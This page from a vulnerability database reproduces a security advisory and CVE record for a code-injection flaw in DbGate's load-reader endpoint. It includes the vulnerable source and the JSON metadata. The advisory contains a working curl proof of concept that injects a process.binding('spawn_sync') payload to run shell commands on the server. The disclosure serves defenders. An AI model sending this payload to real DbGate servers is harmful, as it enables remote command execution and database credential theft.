Vulnerability-Lookup

GHSA-HV83-GGC4-V385

Vulnerability from github – Published: 2026-06-05 16:39 – Updated: 2026-06-05 16:39

Summary

DbGate: Remote Code Execution via functionName injection in loadReader endpoint

Details

Summary

The POST /runners/load-reader endpoint in DbGate accepts a functionName parameter that is directly interpolated into a JavaScript code template without any sanitization or validation. An authenticated user (with basic access, no special permissions required) can inject arbitrary JavaScript code that executes on the server with full process privileges, bypassing the require=null sandbox restriction.

Details

The loadReader endpoint in packages/api/src/controllers/runners.js (line 353) takes a functionName parameter from the request body and passes it to compileShellApiFunctionName() which performs no sanitization:

Vulnerable code (permalink):

  loadReader_meta: true,
  async loadReader({ functionName, props }) {
    if (!platformInfo.isElectron) {
      if (props?.fileName && !checkSecureDirectories(props.fileName)) {
        return { errorMessage: 'DBGM-00289 Unallowed file' };
      }
    }
    const prefix = extractShellApiPlugins(functionName)
      .map(packageName => `// @require ${packageName}\n`)
      .join('');

    const promise = new Promise((resolve, reject) => {
      const runid = crypto.randomUUID();
      this.requests[runid] = { resolve, reject, exitOnStreamError: true };
      this.startCore(runid, loaderScriptTemplate(prefix, functionName, props, runid));
    });
    return promise;
  },

The loaderScriptTemplate at line 57-68 directly interpolates the compiled function name:

const loaderScriptTemplate = (prefix, functionName, props, runid) => `
${prefix}
const dbgateApi = require(process.env.DBGATE_API);
dbgateApi.initializeApiEnvironment();
${requirePluginsTemplate(extractShellApiPlugins(functionName, props))}
require=null;
async function run() {
const reader=await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});
const writer=await dbgateApi.collectorWriter({runid: '${runid}'});
await dbgateApi.copyStream(reader, writer);
}
dbgateApi.runScript(run);
`;

The compileShellApiFunctionName in packages/tools/src/packageTools.ts (line 30-35) performs no validation:

export function compileShellApiFunctionName(functionName) {
  const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);
  if (nsMatch) {
    return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;
  }
  return `dbgateApi.${functionName}`;
}

Two injection vectors: 1. Without @: The entire functionName is appended after dbgateApi. without sanitization 2. With @: The part before @ (nsMatch[1]) is appended after .shellApi. without sanitization (only the part after @ goes through _camelCase)

Although the script template sets require=null, the process global is still available. process.binding("spawn_sync") provides direct access to spawn child processes, completely bypassing the sandbox.

Compare with safe code in the same file (line 292):

  start_meta: true,
  async start({ script }, req) {
    // ...
    await testStandardPermission('run-shell-script', req);  // <-- Permission check!
    if (!platformInfo.allowShellScripting) {                 // <-- Platform check!
      return { errorMessage: 'DBGM-00286 Shell scripting is not allowed' };
    }
    // ...
  },

The start endpoint requires the run-shell-script permission and checks allowShellScripting. The loadReader endpoint has neither of these checks, making it a privilege escalation from any authenticated user to full RCE.

PoC

An authenticated user sends a POST request to /runners/load-reader with a crafted functionName:

# The malicious functionName breaks out of the expression and injects
# process.binding("spawn_sync") to execute arbitrary commands.
# The // at the end comments out the remaining template code.

curl -X POST http://TARGET:3000/runners/load-reader \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -d '{
    "functionName": "toString();var __r=process.binding(\"spawn_sync\").spawn({file:\"/bin/sh\",args:[\"/bin/sh\",\"-c\",\"id > /tmp/dbgate-rce-proof\"],envPairs:[],stdio:[{type:\"pipe\",readable:true,writable:false},{type:\"pipe\",readable:false,writable:true},{type:\"pipe\",readable:false,writable:true}]});dbgateApi.toString//",
    "props": {}
  }'

This generates the following JavaScript that is forked as a child process:

const dbgateApi = require(process.env.DBGATE_API);
dbgateApi.initializeApiEnvironment();
require=null;
async function run() {
const reader=await dbgateApi.toString();var __r=process.binding("spawn_sync").spawn({file:"/bin/sh",args:["/bin/sh","-c","id > /tmp/dbgate-rce-proof"],envPairs:[],stdio:[{type:"pipe",readable:true,writable:false},{type:"pipe",readable:false,writable:true},{type:"pipe",readable:false,writable:true}]});dbgateApi.toString//({})
// ... rest of template
}
dbgateApi.runScript(run);

After the request, /tmp/dbgate-rce-proof contains the output of id, confirming arbitrary command execution.

A standalone PoC script is available at: reports/cve-hunting/pocs/dbgate/rce_loadreader_functionname_injection.py

Impact

An authenticated user with basic access (no admin role, no run-shell-script permission required) can:

Execute arbitrary OS commands on the DbGate server with the privileges of the Node.js process
Read/write any file accessible to the process
Pivot to connected databases by reading connection credentials from DbGate's storage
Compromise the host system - in Docker deployments, this typically means root access within the container

This is particularly severe because: - No special permissions are required beyond basic authentication - The require=null sandbox is completely bypassed via process.binding("spawn_sync") - The loadReader endpoint lacks the permission checks present on the start endpoint - DbGate is commonly deployed as a web-accessible database management tool

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.1.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "dbgate-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.1.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48017"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-05T16:39:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `POST /runners/load-reader` endpoint in DbGate accepts a `functionName` parameter that is directly interpolated into a JavaScript code template without any sanitization or validation. An authenticated user (with basic access, no special permissions required) can inject arbitrary JavaScript code that executes on the server with full process privileges, bypassing the `require=null` sandbox restriction.\n\n### Details\n\nThe `loadReader` endpoint in `packages/api/src/controllers/runners.js` (line 353) takes a `functionName` parameter from the request body and passes it to `compileShellApiFunctionName()` which performs no sanitization:\n\n**Vulnerable code** ([permalink](https://github.com/dbgate/dbgate/blob/ea3a61077ab09775c39890c465f0b3e97f6c812e/packages/api/src/controllers/runners.js#L352-L368)):\n\n```javascript\n  loadReader_meta: true,\n  async loadReader({ functionName, props }) {\n    if (!platformInfo.isElectron) {\n      if (props?.fileName \u0026\u0026 !checkSecureDirectories(props.fileName)) {\n        return { errorMessage: \u0027DBGM-00289 Unallowed file\u0027 };\n      }\n    }\n    const prefix = extractShellApiPlugins(functionName)\n      .map(packageName =\u003e `// @require ${packageName}\\n`)\n      .join(\u0027\u0027);\n\n    const promise = new Promise((resolve, reject) =\u003e {\n      const runid = crypto.randomUUID();\n      this.requests[runid] = { resolve, reject, exitOnStreamError: true };\n      this.startCore(runid, loaderScriptTemplate(prefix, functionName, props, runid));\n    });\n    return promise;\n  },\n```\n\nThe `loaderScriptTemplate` at line 57-68 directly interpolates the compiled function name:\n\n```javascript\nconst loaderScriptTemplate = (prefix, functionName, props, runid) =\u003e `\n${prefix}\nconst dbgateApi = require(process.env.DBGATE_API);\ndbgateApi.initializeApiEnvironment();\n${requirePluginsTemplate(extractShellApiPlugins(functionName, props))}\nrequire=null;\nasync function run() {\nconst reader=await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});\nconst writer=await dbgateApi.collectorWriter({runid: \u0027${runid}\u0027});\nawait dbgateApi.copyStream(reader, writer);\n}\ndbgateApi.runScript(run);\n`;\n```\n\nThe `compileShellApiFunctionName` in `packages/tools/src/packageTools.ts` (line 30-35) performs no validation:\n\n```typescript\nexport function compileShellApiFunctionName(functionName) {\n  const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);\n  if (nsMatch) {\n    return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;\n  }\n  return `dbgateApi.${functionName}`;\n}\n```\n\n**Two injection vectors:**\n1. Without `@`: The entire `functionName` is appended after `dbgateApi.` without sanitization\n2. With `@`: The part before `@` (`nsMatch[1]`) is appended after `.shellApi.` without sanitization (only the part after `@` goes through `_camelCase`)\n\nAlthough the script template sets `require=null`, the `process` global is still available. `process.binding(\"spawn_sync\")` provides direct access to spawn child processes, completely bypassing the sandbox.\n\n**Compare with safe code in the same file** (line 292):\n\n```javascript\n  start_meta: true,\n  async start({ script }, req) {\n    // ...\n    await testStandardPermission(\u0027run-shell-script\u0027, req);  // \u003c-- Permission check!\n    if (!platformInfo.allowShellScripting) {                 // \u003c-- Platform check!\n      return { errorMessage: \u0027DBGM-00286 Shell scripting is not allowed\u0027 };\n    }\n    // ...\n  },\n```\n\nThe `start` endpoint requires the `run-shell-script` permission and checks `allowShellScripting`. The `loadReader` endpoint has **neither** of these checks, making it a privilege escalation from any authenticated user to full RCE.\n\n### PoC\n\nAn authenticated user sends a POST request to `/runners/load-reader` with a crafted `functionName`:\n\n```bash\n# The malicious functionName breaks out of the expression and injects\n# process.binding(\"spawn_sync\") to execute arbitrary commands.\n# The // at the end comments out the remaining template code.\n\ncurl -X POST http://TARGET:3000/runners/load-reader \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer \u003cJWT_TOKEN\u003e\" \\\n  -d \u0027{\n    \"functionName\": \"toString();var __r=process.binding(\\\"spawn_sync\\\").spawn({file:\\\"/bin/sh\\\",args:[\\\"/bin/sh\\\",\\\"-c\\\",\\\"id \u003e /tmp/dbgate-rce-proof\\\"],envPairs:[],stdio:[{type:\\\"pipe\\\",readable:true,writable:false},{type:\\\"pipe\\\",readable:false,writable:true},{type:\\\"pipe\\\",readable:false,writable:true}]});dbgateApi.toString//\",\n    \"props\": {}\n  }\u0027\n```\n\nThis generates the following JavaScript that is forked as a child process:\n\n```javascript\nconst dbgateApi = require(process.env.DBGATE_API);\ndbgateApi.initializeApiEnvironment();\nrequire=null;\nasync function run() {\nconst reader=await dbgateApi.toString();var __r=process.binding(\"spawn_sync\").spawn({file:\"/bin/sh\",args:[\"/bin/sh\",\"-c\",\"id \u003e /tmp/dbgate-rce-proof\"],envPairs:[],stdio:[{type:\"pipe\",readable:true,writable:false},{type:\"pipe\",readable:false,writable:true},{type:\"pipe\",readable:false,writable:true}]});dbgateApi.toString//({})\n// ... rest of template\n}\ndbgateApi.runScript(run);\n```\n\nAfter the request, `/tmp/dbgate-rce-proof` contains the output of `id`, confirming arbitrary command execution.\n\nA standalone PoC script is available at: `reports/cve-hunting/pocs/dbgate/rce_loadreader_functionname_injection.py`\n\n### Impact\n\nAn authenticated user with **basic access** (no admin role, no `run-shell-script` permission required) can:\n\n1. **Execute arbitrary OS commands** on the DbGate server with the privileges of the Node.js process\n2. **Read/write any file** accessible to the process\n3. **Pivot to connected databases** by reading connection credentials from DbGate\u0027s storage\n4. **Compromise the host system** - in Docker deployments, this typically means root access within the container\n\nThis is particularly severe because:\n- No special permissions are required beyond basic authentication\n- The `require=null` sandbox is completely bypassed via `process.binding(\"spawn_sync\")`\n- The `loadReader` endpoint lacks the permission checks present on the `start` endpoint\n- DbGate is commonly deployed as a web-accessible database management tool",
  "id": "GHSA-hv83-ggc4-v385",
  "modified": "2026-06-05T16:39:38Z",
  "published": "2026-06-05T16:39:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dbgate/dbgate/security/advisories/GHSA-hv83-ggc4-v385"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dbgate/dbgate"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dbgate/dbgate/releases/tag/v7.1.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DbGate: Remote Code Execution via functionName injection in loadReader endpoint"
}

CVE-2026-48017 (GCVE-0-2026-48017)

Vulnerability from cvelistv5 – Published: 2026-06-15 20:54 – Updated: 2026-06-17 03:55

Title

DbGate: Remote Code Execution via functionName injection in loadReader endpoint

Summary

DbGate is cross-platform database manager. In versions 7.1.8 and prior, the POST /runners/load-reader endpoint in DbGate accepts a functionName parameter that is directly interpolated into a JavaScript code template without any sanitization or validation. An authenticated user (with basic access, no special permissions required) can inject arbitrary JavaScript code that executes on the server with full process privileges, bypassing the require=null sandbox restriction. An authenticated user with basic access (no admin role, no run-shell-script permission required) can: execute arbitrary OS commands on the DbGate server with the privileges of the Node.js process, read/write any file accessible to the process, pivot to connected databases by reading connection credentials from DbGate's storage, and compromise the host system - in Docker deployments, this typically means root access within the container.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/dbgate/dbgate/security/advisor…	x_refsource_CONFIRM
https://github.com/dbgate/dbgate/releases/tag/v7.1.9	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
dbgate	dbgate	Affected: < 7.1.9

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-48017",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-16T00:00:00+00:00",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-17T03:55:47.723Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/dbgate/dbgate/security/advisories/GHSA-hv83-ggc4-v385"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "dbgate",
          "vendor": "dbgate",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 7.1.9"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "DbGate is cross-platform database manager. In versions 7.1.8 and prior, the POST /runners/load-reader endpoint in DbGate accepts a functionName parameter that is directly interpolated into a JavaScript code template without any sanitization or validation. An authenticated user (with basic access, no special permissions required) can inject arbitrary JavaScript code that executes on the server with full process privileges, bypassing the require=null sandbox restriction. An authenticated user with basic access (no admin role, no run-shell-script permission required) can: execute arbitrary OS commands on the DbGate server with the privileges of the Node.js process, read/write any file accessible to the process, pivot to connected databases by reading connection credentials from DbGate\u0027s storage, and compromise the host system - in Docker deployments, this typically means root access within the container."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-94",
              "description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-15T20:54:18.858Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/dbgate/dbgate/security/advisories/GHSA-hv83-ggc4-v385",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/dbgate/dbgate/security/advisories/GHSA-hv83-ggc4-v385"
        },
        {
          "name": "https://github.com/dbgate/dbgate/releases/tag/v7.1.9",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/dbgate/dbgate/releases/tag/v7.1.9"
        }
      ],
      "source": {
        "advisory": "GHSA-hv83-ggc4-v385",
        "discovery": "UNKNOWN"
      },
      "title": "DbGate: Remote Code Execution via functionName injection in loadReader endpoint"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-48017",
    "datePublished": "2026-06-15T20:54:18.858Z",
    "dateReserved": "2026-05-20T17:44:09.586Z",
    "dateUpdated": "2026-06-17T03:55:47.723Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-HV83-GGC4-V385

Summary

Details

PoC

Impact

CVE-2026-48017 (GCVE-0-2026-48017)

Tags

Sightings

Nomenclature